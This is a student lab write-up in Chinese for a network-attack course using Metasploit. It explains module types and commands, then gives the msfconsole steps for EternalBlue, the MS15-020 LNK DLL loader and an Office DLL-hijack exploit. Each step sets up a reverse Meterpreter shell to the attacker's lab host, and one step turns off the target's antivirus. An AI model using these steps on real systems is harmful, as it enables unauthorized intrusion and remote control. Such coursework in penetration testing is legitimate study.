博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 20165314『网络对抗技术』Exp5:MSF基础应用
阅读量:5290 次
发布时间:2019-06-14

本文共 3221 字,大约阅读时间需要 10 分钟。

一.原理与实践说明

1.实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,如ms08-067; (1分)
  • 一个针对浏览器的攻击,如ms11-050;(1分)
  • 一个针对客户端的攻击,如Adobe;(1分)
  • 成功应用任何一个辅助模块。(0.5分)
    以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。

2.预备知识

一、MSF的六种模块

  • Exploit模块
    • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
    • 形象点来说就是攻击模块
  • Payload模块
    • 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
  • Encoder模块
    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
    • 不改变payload作用,但能对payload进行加工
  • Aux模块
    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
    • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
  • Post模块
    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
    • 这里主要指的是攻击之后可能用到的模块
  • Nops模块
    • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
    • 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置

二、MSF常用漏洞利用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets:显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name:使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

3.基础问题

  • 问:用自己的话解释什么是exploit,payload,encode。
    • exploit:测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
    • payload:攻击者在目标系统上执行的一段攻击代码。
    • encode:encode编码一是为了消除使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。

三、实践内容

主动攻击:ms17_010_eternalblue

浏览器渗透攻击——ms15_020_shortcut_icon_dllloader(唯一)(在这个之前我试了十几个失败的模块,大概是ms17到09的所有适合win7的模块,不出意料的都失败了呢,我恨win7?)
针对客户端的攻击——office_ole_multiple_dll_hijack(唯一)
辅助模块——smb_ms17_010

一、Windows服务渗透攻击——ms17-010安全漏洞

(1)打开msf输入nmap -O -Pn 192.168.1.210

1301280-20190414202122478-1514750544.png

(2)利用auxiliary辅助模块进行扫描:

msf > use auxiliary/scanner/smb/smb_ms17_010       msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.210msf auxiliary(scanner/smb/smb_ms17_010) > run

1301280-20190414202214768-1609952345.png

再跟扫描我的主机结果对比一下:

1301280-20190414202304631-1608331448.png

可以看出我当前的主机并没有,或者说是已经修复了ms17_010漏洞

(3)根据要求设置并攻击:
输入back退回,然后依次输入:

use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.107set RHOST 192.168.1.210exploit

1301280-20190414202709163-1066832941.png

发生了什么??我们看一下靶机:

1301280-20190414202751173-1884048469.png

哦豁,原来是360拦截了攻击,360??!!!

关掉360再看看:
1301280-20190414202943504-1152400638.png

嗯丶成功

二、浏览器渗透攻击——ms15_020_shortcut_icon_dllloader(唯一)

首先,在我用这个漏洞完成攻击之前,我尝试了从16到10的三十多个个其他的模块,但是没一个成功的,为什么呢?因为我之前攻击的都是win7的靶机,多次的失败让我开始怀疑人生,怀疑自己是否应该选这门课,直到我拷了一个xp的系统。 感谢XP ,让我重新认清了自己,帮我找回了自信,让我有勇气继续学下去,守护全世界最好的xp ❤?????

  • 先来看一下这个模块的描述:
    1301280-20190414205505419-1418266921.png

简单看了下,这个模块有点不简单,果断百度翻译:

1301280-20190414210030674-447627282.png
balabalabala,注意到会生成一个快捷方式文件,我们需要让这个lnk在靶机运行

  • 打开msf,依次输入:
use windows/browser/ms15_020_shortcut_icon_dlloaderset payloadwindows/meterpreter/reverse_httpset srvhost 192.168.1.107set lhost 5314run

1301280-20190414214718887-1177398480.png

  • 然后把生成的lnk拷过去,运行:

    1301280-20190414214725370-1389070620.png

  • 攻击机回连成功,输入sessions -i 1获取对话:

    1301280-20190414214737550-898713377.png

    三、针对客户端的攻击,如Adobe(并不是哦,我采用的是针对Office的攻击 office_ole_multiple_dll_hijack(唯一))

  • 首先 我们使用windows/file/format/office_ole_multiple_dll_hijack模块并设置载荷

    1301280-20190415080146880-1097089910.png

是一个很简单的模块呢,只要设置载荷的参数就ok了,很适合我这么懒的人

  • run,发现它blingbling的跑了很多行,创建了好多东西

    1301280-20190415080154874-1003885493.png

  • 进入生成的目录中看到有两个文件夹,x86和x64,保险起见全部copy到靶机上

    1301280-20190415080203190-827039080.png

  • 从靶机查看文件夹,里面有好多个可以通过Office打开的文件,一个个试过去
    • 哦豁

      1301280-20190415080211785-1658212089.png

    • 攻击成功

      1301280-20190415080219004-317998913.png

四、成功应用任何一个辅助模块

四、心得与体会

  • 我们当前阶段使用的模块都是先人发现了漏洞并只做好了的,单纯的调用一下而已,并且只对于比较旧版本的系统和应用有效,想用于实战的话我们还需要加强对受害者的分析以及攻击方式方面的学习。

  • 本次实验我最大的体会就是“一把锁配一把钥匙”,系统和软件就像是锁里的两层锁芯,不同的版本能有许多种组合,所以攻击模块的选择至关重要,而当你尝试了很多钥匙都没办法开锁成功时,不妨考虑下换个锁(笑),在实战中,当我们面对一个完全未知、难以攻击的目标时,换个思路,让目标变为已知的、可攻击的,也是一个可行的选择。

转载于:https://www.cnblogs.com/zhangshuai9345/p/10676059.html

你可能感兴趣的文章
ERR: Failed to complete setup of assembly (hr = 0x8007000b). Probing terminated.
查看>>
Java 中int、String的类型转换
查看>>
Oracle 查看正在执行的SQL语句
查看>>
HDU 1069 Monkey and Banana
查看>>
一个类有两个方法,其中一个是同步的,另一个是非同步的; 现在又两个线程A和B,请问:当线程A访问此类的同步方法时,线程B是否能访问此类的非同步方法?...
查看>>
consonant combination
查看>>
堆排序
查看>>
elk报错解决
查看>>
centos6更改时区
查看>>
struts中请求数据自动封装
查看>>
C# 高斯消元项目运用
查看>>
WUST 设计模式 实验一 单例模式的应用
查看>>
Web service(一)
查看>>
Github为什么没有记录你的Contributions
查看>>
<php>Ajax基本格式
查看>>
mybatis中的多条件查询
查看>>
C# WebBrowser 抓图获取网页验证码
查看>>
Linux 终端输入保存到一个文件中
查看>>
未加载opencv_world330.pdb
查看>>
Java排序算法(三):直接插入排序
查看>>